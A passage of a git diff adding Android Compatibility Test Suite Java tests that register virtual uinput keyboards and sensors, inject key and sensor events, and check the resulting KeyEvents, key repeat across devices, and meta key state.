+            json.put("name", "Virtual All Buttons Device (Test)");
+            json.put("vid", GOOGLE_VENDOR_ID);
+            json.put("pid", GOOGLE_VIRTUAL_KEYBOARD_ID);
+            json.put("bus", "bluetooth");
+
+            JSONObject jsonSetEvBit = new JSONObject();
+            JSONArray arraySetEvBit =  new JSONArray();
+            arraySetEvBit.put(EV_KEY);
+            jsonSetEvBit.put("type", UI_SET_EVBIT);
+            jsonSetEvBit.put("data", arraySetEvBit);
+            arrayConfigs.put(jsonSetEvBit);
+
+            // Configure device have all keys from key layout map.
+            JSONArray arraySetKeyBit = new JSONArray();
+            for (Map.Entry<String, Integer> entry : mKeyLayout.entrySet()) {
+                arraySetKeyBit.put(entry.getValue());
+            }
+            JSONObject jsonSetKeyBit = new JSONObject();
+            jsonSetKeyBit.put("type", UI_SET_KEYBIT);
+            jsonSetKeyBit.put("data", arraySetKeyBit);
+            arrayConfigs.put(jsonSetKeyBit);
+            json.put("configuration", arrayConfigs);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object");
+        }
+
+        return json.toString();
+    }
+
+    /**
+     * Update expected meta state for incoming key event.
+     * @param action KeyEvent.ACTION_DOWN or KeyEvent.ACTION_UP
+     * @param label Key label from key layout mapping definition
+     * @return updated meta state
+     */
+
+    private int updateMetaState(int action, String label) {
+
+        int metaState = 0;
+        int metaStateToggle = 0;
+        if (label.equals("CTRL_LEFT")) {
+            metaState = KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
+        }
+        if (label.equals("CTRL_RIGHT")) {
+            metaState = KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
+        }
+        if (label.equals("SHIFT_LEFT")) {
+            metaState = KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
+        }
+        if (label.equals("SHIFT_RIGHT")) {
+            metaState = KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
+        }
+        if (label.equals("ALT_LEFT")) {
+            metaState = KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
+        }
+        if (label.equals("ALT_RIGHT")) {
+            metaState = KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
+        }
+        if (label.equals("CAPS_LOCK")) {
+            metaStateToggle =  KeyEvent.META_CAPS_LOCK_ON;
+        }
+        if (label.equals("NUM_LOCK")) {
+            metaStateToggle =  KeyEvent.META_NUM_LOCK_ON;
+        }
+        if (label.equals("SCROLL_LOCK")) {
+            metaStateToggle =  KeyEvent.META_SCROLL_LOCK_ON;
+        }
+
+        if (action == KeyEvent.ACTION_DOWN) {
+            mMetaState |= metaState;
+        } else if (action == KeyEvent.ACTION_UP) {
+            mMetaState &= ~metaState;
+        }
+
+        if (action == KeyEvent.ACTION_UP) {
+            if ((mMetaState & metaStateToggle) == 0) {
+                mMetaState |= metaStateToggle;
+            } else {
+                mMetaState &= ~metaStateToggle;
+            }
+        }
+        return mMetaState;
+    }
+
+    /**
+     * Generate a key event from the key label and action.
+     * @param action KeyEvent.ACTION_DOWN or KeyEvent.ACTION_UP
+     * @param label Key label from key layout mapping definition
+     * @return KeyEvent expected to receive
+     */
+    private KeyEvent generateKeyEvent(int action, String label) {
+        int source = InputDevice.SOURCE_KEYBOARD | InputDevice.SOURCE_GAMEPAD
+                | InputDevice.SOURCE_DPAD;
+        int keyCode = KeyEvent.keyCodeFromString(LABEL_PREFIX + label);
+        int metaState = updateMetaState(action, label);
+        // We will only check select fields of the KeyEvent. Times are not checked.
+        KeyEvent event = new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
+                /* flags */ 0, source);
+
+        return event;
+    }
+
+    /**
+     * Simulate pressing a key.
+     * @param evKeyCode The key scan code
+     */
+    private void pressKey(int evKeyCode) {
+        int[] evCodesDown = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_DOWN,
+                EV_SYN, 0, 0};
+        mUinputDevice.injectEvents(Arrays.toString(evCodesDown));
+
+        int[] evCodesUp = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_UP,
+                EV_SYN, 0, 0 };
+        mUinputDevice.injectEvents(Arrays.toString(evCodesUp));
+    }
+
+    /**
+     * Check the initial global meta key state.
+     * @param label Key label from key layout mapping definition
+     * @param metaState The meta state that the meta key changes
+     */
+    private void checkMetaKeyState(String label, int metaState) {
+        int eveKeyCode = mKeyLayout.get(label);
+        pressKey(eveKeyCode);
+        // Get 2 key events for up and down.
+        KeyEvent keyDownEvent = getKeyEvent(RETRY_COUNT);
+        assertNotNull("Didn't get KeyDown event " + label, keyDownEvent);
+        KeyEvent keyUpEvent = getKeyEvent(RETRY_COUNT);
+        assertNotNull("Didn't get KeyUp event " + label, keyUpEvent);
+
+        if (keyUpEvent.getKeyCode() == KeyEvent.keyCodeFromString(label)
+                && keyUpEvent.getAction() == KeyEvent.ACTION_UP) {
+            mMetaState &= ~metaState;
+            mMetaState |= (keyUpEvent.getMetaState() & metaState);
+        }
+    }
+
+    /**
+     * Initialize NUM_LOCK, CAPS_LOCK, SCROLL_LOCK state as they are global meta state
+     */
+    private void initializeMetaKeysState() {
+        // Detect NUM_LOCK key state before test.
+        checkMetaKeyState("NUM_LOCK", KeyEvent.META_NUM_LOCK_ON);
+        // Detect CAPS_LOCK key state before test.
+        checkMetaKeyState("CAPS_LOCK", KeyEvent.META_CAPS_LOCK_ON);
+        // Detect CAPS_LOCK key state before test.
+        checkMetaKeyState("SCROLL_LOCK", KeyEvent.META_SCROLL_LOCK_ON);
+    }
+
+    @Test
+    public void testLayoutKeyEvents() {
+        final List<String> excludedKeys = Arrays.asList(
+                // Meta control keys.
+                "CAPS_LOCK", "NUM_LOCK", "SCROLL_LOCK", "META_LEFT", "META_RIGHT", "FUNCTION",
+                // KeyEvents not delivered to apps.
+                "APP_SWITCH", "SYSRQ", "ASSIST", "VOICE_ASSIST",
+                "HOME", "POWER", "SLEEP", "WAKEUP",
+                "BRIGHTNESS_UP", "BRIGHTNESS_DOWN");
+
+        initializeMetaKeysState();
+
+        for (Map.Entry<String, Integer> entry : mKeyLayout.entrySet()) {
+            String label = LABEL_PREFIX + entry.getKey();
+            int evKeyCode = entry.getValue();
+
+            if (excludedKeys.contains(label)) {
+                continue;
+            }
+
+            assertNotEquals(KeyEvent.keyCodeFromString(label), KeyEvent.KEYCODE_UNKNOWN);
+            // Press the key
+            pressKey(evKeyCode);
+            // Generate expected key down event and verify
+            KeyEvent expectedDownEvent = generateKeyEvent(KeyEvent.ACTION_DOWN,  label);
+            assertReceivedKeyEvent(expectedDownEvent);
+            // Generate expected key up event and verify
+            KeyEvent expectedUpEvent = generateKeyEvent(KeyEvent.ACTION_UP,  label);
+            assertReceivedKeyEvent(expectedUpEvent);
+        }
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTestActivity.java b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTestActivity.java
new file mode 100644
index 0000000..5c77984
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTestActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.KeyEvent;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class InputDeviceKeyLayoutMapTestActivity extends Activity {
+    private static final String TAG = "InputDeviceKeyLayoutMapTestActivity";
+
+    private final BlockingQueue<KeyEvent> mEvents = new LinkedBlockingQueue<>();
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    public boolean dispatchKeyEvent(KeyEvent ev) {
+        try {
+            mEvents.put(new KeyEvent(ev));
+        } catch (InterruptedException ex) {
+            fail("interrupted while adding a KeyEvent to the queue");
+        }
+        return true;
+    }
+
+    /**
+     * Get a KeyEvent from event queue or timeout.
+     * @param timeoutSeconds Timeout in unit of second
+     * @return KeyEvent delivered to test activity, null if timeout.
+     */
+    public KeyEvent getKeyEvent(int timeoutSeconds) {
+        try {
+            return mEvents.poll(timeoutSeconds, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("unexpectedly interrupted while waiting for InputEvent", e);
+        }
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceMultiDeviceKeyEventTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceMultiDeviceKeyEventTest.java
new file mode 100644
index 0000000..31d5e6e
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceMultiDeviceKeyEventTest.java
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.input.UinputDevice;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+/**
+ * CTS test cases for multi device key events verification.
+ * This test utilize uinput command line tool to create multiple test devices, and configure the
+ * virtual device to have keys need to be tested. The JSON format input for device configuration
+ * and EV_KEY injection will be created directly from this test for uinput command.
+ * The test cases will inject evdev events from different virtual input devices and verify the
+ * received key events to verify the device Id, repeat count to be expected, as well as the key
+ * repeat behavior is consistently meeting expectations with multi devices.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceMultiDeviceKeyEventTest {
+    private static final String TAG = "InputDeviceMultiDeviceKeyEventTest";
+    private static final String LABEL_PREFIX = "KEYCODE_";
+    private static final int DEVICE_ID = 1;
+    private static final int EV_SYN = 0;
+    private static final int EV_KEY = 1;
+    private static final int EV_KEY_DOWN = 1;
+    private static final int EV_KEY_UP = 0;
+    private static final int UI_SET_EVBIT = 100;
+    private static final int UI_SET_KEYBIT = 101;
+    private static final int EV_KEY_CODE_1 = 2;
+    private static final int EV_KEY_CODE_2 = 3;
+    private static final int GOOGLE_VENDOR_ID = 0x18d1;
+    private static final int GOOGLE_VIRTUAL_KEYBOARD_ID = 0x001f;
+    private static final int NUM_DEVICES = 2;
+    private static final int POLL_EVENT_TIMEOUT_SECONDS = 1;
+    private static final int RETRY_COUNT = 10;
+
+    private Instrumentation mInstrumentation;
+    private InputManager mInputManager;
+    private UinputDevice[] mUinputDevices = new UinputDevice[NUM_DEVICES];
+    private int[] mInputManagerDeviceIds = new int[NUM_DEVICES];
+    private final int[] mEvKeys = {
+            EV_KEY_CODE_1,
+            EV_KEY_CODE_2
+    };
+
+    @Rule
+    public ActivityTestRule<InputDeviceKeyLayoutMapTestActivity> mActivityRule =
+            new ActivityTestRule<>(InputDeviceKeyLayoutMapTestActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        PollingCheck.waitFor(mActivityRule.getActivity()::hasWindowFocus);
+        for (int i = 0; i < NUM_DEVICES; i++) {
+            final int jsonDeviceId = i + 1;
+            mUinputDevices[i] = new UinputDevice(mInstrumentation, jsonDeviceId,
+                GOOGLE_VENDOR_ID, GOOGLE_VIRTUAL_KEYBOARD_ID + jsonDeviceId,
+                InputDevice.SOURCE_KEYBOARD,
+                createDeviceRegisterCommand(jsonDeviceId, mEvKeys));
+        }
+
+        mInputManager = mInstrumentation.getContext().getSystemService(InputManager.class);
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            final int index = inputDevice.getProductId() - GOOGLE_VIRTUAL_KEYBOARD_ID - 1;
+            if (inputDevice.getVendorId() == GOOGLE_VENDOR_ID
+                    && index >= 0 && index < NUM_DEVICES) {
+                mInputManagerDeviceIds[index] = inputDeviceId;
+            }
+        }
+    }
+
+    @After
+    public void tearDown() {
+        for (int i = 0; i < NUM_DEVICES; i++) {
+            if (mUinputDevices[i] != null) {
+                mUinputDevices[i].close();
+            }
+        }
+    }
+
+    /**
+     * Create the uinput device registration command, in JSON format of uinput commandline tool.
+     * Refer to {@link framework/base/cmds/uinput/README.md}
+     */
+    private String createDeviceRegisterCommand(int deviceId, int[] keys) {
+        JSONObject json = new JSONObject();
+        JSONArray arrayConfigs =  new JSONArray();
+        try {
+            json.put("id", deviceId);
+            json.put("type", "uinput");
+            json.put("command", "register");
+            json.put("name", "Virtual All Buttons Device (Test)");
+            json.put("vid", GOOGLE_VENDOR_ID);
+            json.put("pid", GOOGLE_VIRTUAL_KEYBOARD_ID + deviceId);
+            json.put("bus", "bluetooth");
+
+            JSONObject jsonSetEvBit = new JSONObject();
+            JSONArray arraySetEvBit =  new JSONArray();
+            arraySetEvBit.put(EV_KEY);
+            jsonSetEvBit.put("type", UI_SET_EVBIT);
+            jsonSetEvBit.put("data", arraySetEvBit);
+            arrayConfigs.put(jsonSetEvBit);
+
+            // Configure device have all keys from key layout map.
+            JSONArray arraySetKeyBit = new JSONArray();
+            for (int i = 0; i < keys.length; i++) {
+                arraySetKeyBit.put(keys[i]);
+            }
+
+            JSONObject jsonSetKeyBit = new JSONObject();
+            jsonSetKeyBit.put("type", UI_SET_KEYBIT);
+            jsonSetKeyBit.put("data", arraySetKeyBit);
+            arrayConfigs.put(jsonSetKeyBit);
+            json.put("configuration", arrayConfigs);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object");
+        }
+
+        return json.toString();
+    }
+
+    /**
+     * Get a KeyEvent from event queue or timeout.
+     * The test activity instance may change in the middle, calling getKeyEvent with the old
+     * activity instance will get timed out when test activity instance changed. Rather than
+     * doing a long wait for timeout with same activity instance, break the polling into a number
+     * of retries and each time of retry call the ActivityTestRule.getActivity for current activity
+     * instance to avoid the test failure because of polling the old activity instance get timed
+     * out consequently failed the test.
+     *
+     * @param retryCount The times to retry get KeyEvent from test activity.
+     *
+     * @return KeyEvent delivered to test activity, null if timeout.
+     */
+    private KeyEvent getKeyEvent(int retryCount) {
+        for (int i = 0; i < retryCount; i++) {
+            KeyEvent event = mActivityRule.getActivity().getKeyEvent(POLL_EVENT_TIMEOUT_SECONDS);
+            if (event != null) {
+                return event;
+            }
+        }
+        return null;
+    }
+
+    private void assertNoKeyEvent() {
+        assertNull(getKeyEvent(1 /* retryCount */));
+    }
+
+    /**
+     * Asserts that the application received a {@link android.view.KeyEvent} with the given
+     * metadata.
+     *
+     * If other KeyEvents are received by the application prior to the expected KeyEvent, or no
+     * KeyEvents are received within a reasonable amount of time, then this will throw an
+     * {@link AssertionError}.
+     *
+     * Only action, source, keyCode and metaState are being compared.
+     */
+    private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
+        assertNotEquals(expectedKeyEvent.getKeyCode(), KeyEvent.KEYCODE_UNKNOWN);
+
+        KeyEvent receivedKeyEvent = getKeyEvent(RETRY_COUNT);
+        String log = "Expected " + expectedKeyEvent + " Received " + receivedKeyEvent;
+        assertNotNull(log, receivedKeyEvent);
+        assertEquals("DeviceId: " + log, expectedKeyEvent.getDeviceId(),
+                receivedKeyEvent.getDeviceId());
+        assertEquals("Action: " + log, expectedKeyEvent.getAction(),
+                receivedKeyEvent.getAction());
+        assertEquals("Source: " + log, expectedKeyEvent.getSource(),
+                receivedKeyEvent.getSource());
+        assertEquals("KeyCode: " + log, expectedKeyEvent.getKeyCode(),
+                receivedKeyEvent.getKeyCode());
+        assertEquals("RepeatCount: " + log, expectedKeyEvent.getRepeatCount(),
+                receivedKeyEvent.getRepeatCount());
+    }
+
+    /**
+     * Generate a key event from the key label and action.
+     * @param action KeyEvent.ACTION_DOWN or KeyEvent.ACTION_UP
+     * @param label Key label from key layout mapping definition
+     * @return KeyEvent expected to receive
+     */
+    private KeyEvent generateKeyEvent(int deviceId, int action, String label, int repeat) {
+        int source = InputDevice.SOURCE_KEYBOARD;
+        int keyCode = KeyEvent.keyCodeFromString(LABEL_PREFIX + label);
+        // We will only check select fields of the KeyEvent. Times are not checked.
+        KeyEvent event = new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                repeat, /* metaState */ 0, mInputManagerDeviceIds[deviceId], /* scanCode */ 0,
+                /* flags */ 0, source);
+
+        return event;
+    }
+
+    /**
+     * Simulate pressing a key.
+     * @param evKeyCode The key scan code
+     */
+    private void pressKeyDown(int deviceId, int evKeyCode) {
+        int[] evCodesDown = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_DOWN,
+                EV_SYN, 0, 0};
+        mUinputDevices[deviceId].injectEvents(Arrays.toString(evCodesDown));
+    }
+
+    /**
+     * Simulate releasing a key.
+     * @param evKeyCode The key scan code
+     */
+    private void pressKeyUp(int deviceId, int evKeyCode) {
+        int[] evCodesUp = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_UP,
+                EV_SYN, 0, 0 };
+        mUinputDevices[deviceId].injectEvents(Arrays.toString(evCodesUp));
+    }
+
+    private void assertKeyRepeat(int deviceId, String label, int repeat, int count) {
+        for (int i = 0; i < count; i++) {
+            KeyEvent expectedDownEvent = generateKeyEvent(deviceId,
+                    KeyEvent.ACTION_DOWN, label, repeat + i);
+            assertReceivedKeyEvent(expectedDownEvent);
+        }
+    }
+
+    private void assertKeyUp(int deviceId, String label) {
+        KeyEvent expectedUpEvent = generateKeyEvent(deviceId,
+                KeyEvent.ACTION_UP, label, /* repeat */ 0);
+        assertReceivedKeyEvent(expectedUpEvent);
+    }
+
+    @Test
+    public void testReceivesKeyRepeatFromTwoDevices() {
+        final String keyOne = "1";
+        // Press the key from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+        // Press the key from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 0, /* count */ 10);
+    }
+
+    @Test
+    public void testReceivesKeyRepeatOnTwoKeysFromTwoDevices() {
+        final String keyOne = "1";
+        final String keyTwo = "2";
+        // Press the key 1 from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Press the key 2 from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_2);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyTwo, /* repeat */ 0, /* count */ 10);
+
+        // Release the key 2 from device 1
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 1, EV_KEY_CODE_2);
+        assertKeyUp(/* deviceId */ 1, keyTwo);
+
+        // No key repeating anymore.
+        assertNoKeyEvent();
+
+        // Release the key 1 from device 0
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 0, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 0, keyOne);
+    }
+
+    @Test
+    public void testKeyRepeatAfterStaleDeviceKeyUp() {
+        final String keyOne = "1";
+        // Press the key from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Press the key from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Release the key from device 0
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 0, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 0, keyOne);
+
+        // KeyDown kept repeating by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 10, /* count */ 10);
+
+        // Release the key from device 1
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 1, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 1, keyOne);
+    }
+
+    @Test
+    public void testKeyRepeatStopsAfterRepeatingKeyUp() {
+        final String keyOne = "1";
+        // Press the key from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Press the key from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Release the key from device 1
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 1, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 1, keyOne);
+
+        // No key repeating anymore.
+        assertNoKeyEvent();
+
+        // Release the key from device 0
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 0, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 0, keyOne);
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
new file mode 100644
index 0000000..a088a31
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
@@ -0,0 +1,481 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener;
+import android.hardware.SensorManager;
+import android.hardware.input.InputManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.MemoryFile;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link android.view.InputDevice} sensor functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceSensorManagerTest {
+    private static final String TAG = "InputDeviceSensorManagerTest";
+    private static final int SENSOR_VEC_LENGTH = 3;
+    private static final int EV_SYN = 0;
+    private static final int EV_ABS = 3;
+    private static final int EV_MSC = 4;
+    private static final int ABS_X = 0;
+    private static final int ABS_Y = 1;
+    private static final int ABS_Z = 2;
+    private static final int ABS_RX = 3;
+    private static final int ABS_RY = 4;
+    private static final int ABS_RZ = 5;
+    private static final int MSC_TIMESTAMP = 5;
+    // The time interval for between sensor time events, in unit of micro seconds.
+    private static final int TIME_INTERVAL_US = 10000;
+    // Requested sensor listening interval, to pass to registerListener API,
+    // in unit of milli seconds.
+    private static final int SAMPLING_INTERVAL_US = 20000;
+    // The Gyroscope sensor hardware resolution of 1 unit, degree/second.
+    private static final float GYRO_RESOLUTION = 1024.0f;
+    // The Accelerometer sensor hardware resolution of 1 unit, per g.
+    private static final float ACCEL_RESOLUTION = 8192.0f;
+    // Numbers of sensor samples to run.
+    private static final int RUNNING_SAMPLES = 100;
+    // Sensor raw value increment step for each sensor event.
+    private static final int SAMPLE_STEP = 925;
+    // Tolerance of sensor event values.
+    private static final float TOLERANCE = 0.01f;
+    // Linux accelerometer unit is per g,  Android unit is m/s^2
+    private static final float GRAVITY_MS2_UNIT = 9.80665f;
+    // Linux gyroscope unit is degree/second, Android unit is radians/second
+    private static final float DEGREE_RADIAN_UNIT = 0.0174533f;
+    // Share memory size
+    private static final int SHARED_MEMORY_SIZE = 8192;
+
+    private static final int CONNECTION_TIMEOUT_SEC = 3;
+
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private SensorManager mSensorManager;
+    private HandlerThread mSensorThread = null;
+    private Handler mSensorHandler = null;
+    private int mDeviceId;
+    private final Object mLock = new Object();
+
+    private class Callback extends SensorManager.DynamicSensorCallback {
+        private Sensor mSensor;
+        private CountDownLatch mConnectLatch = new CountDownLatch(1);
+        private CountDownLatch mDisconnectLatch = new CountDownLatch(1);
+
+        Callback(@NonNull Sensor sensor) {
+            mSensor = sensor;
+        }
+
+        @Override
+        public void onDynamicSensorConnected(Sensor sensor) {
+            synchronized (mSensor) {
+                if (mSensor.getId() == sensor.getId()) {
+                    mConnectLatch.countDown();
+                }
+            }
+        }
+
+        @Override
+        public void onDynamicSensorDisconnected(Sensor sensor) {
+            synchronized (mSensor) {
+                if (mSensor.getId() == sensor.getId()) {
+                    mDisconnectLatch.countDown();
+                }
+            }
+        }
+
+        public boolean waitForConnection() {
+            try {
+                return mConnectLatch.await(CONNECTION_TIMEOUT_SEC, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            return false;
+        }
+
+        public void assertNoDisconnection() {
+            assertEquals(1, mDisconnectLatch.getCount());
+        }
+    }
+
+    private class InputTestSensorEventListener implements SensorEventListener {
+        private CountDownLatch mAccuracyLatch;
+        private int mAccuracy = SensorManager.SENSOR_STATUS_NO_CONTACT;
+        private final BlockingQueue<SensorEvent> mEvents = new LinkedBlockingQueue<>();
+        InputTestSensorEventListener() {
+            super();
+            mAccuracyLatch = new CountDownLatch(1);
+        }
+
+        public SensorEvent waitForSensorEvent() {
+            try {
+                return mEvents.poll(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                fail("unexpectedly interrupted while waiting for SensorEvent");
+                return null;
+            }
+        }
+
+        public int waitForAccuracyChanged() {
+            boolean ret;
+            try {
+                ret = mAccuracyLatch.await(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                ret = false;
+                Thread.currentThread().interrupt();
+            }
+
+            synchronized (mLock) {
+                return mAccuracy;
+            }
+        }
+
+        @Override
+        public void onSensorChanged(SensorEvent event) {
+            synchronized (mLock) {
+                try {
+                    mEvents.put(event);
+                } catch (InterruptedException ex) {
+                    fail("interrupted while adding a SensorEvent to the queue");
+                }
+            }
+        }
+
+        @Override
+        public void onAccuracyChanged(Sensor sensor, int accuracy) {
+            synchronized (mLock) {
+                mAccuracy = accuracy;
+            }
+            if (mAccuracyLatch != null) {
+                mAccuracyLatch.countDown();
+            }
+        }
+    }
+
+    /**
+     * Get a SensorManager object from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return SensorManager object in specified InputDevice
+     */
+    private SensorManager getSensorManager(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+                SensorManager sensorManager = inputDevice.getSensorManager();
+                assertNotNull("getSensorManager returns null", sensorManager);
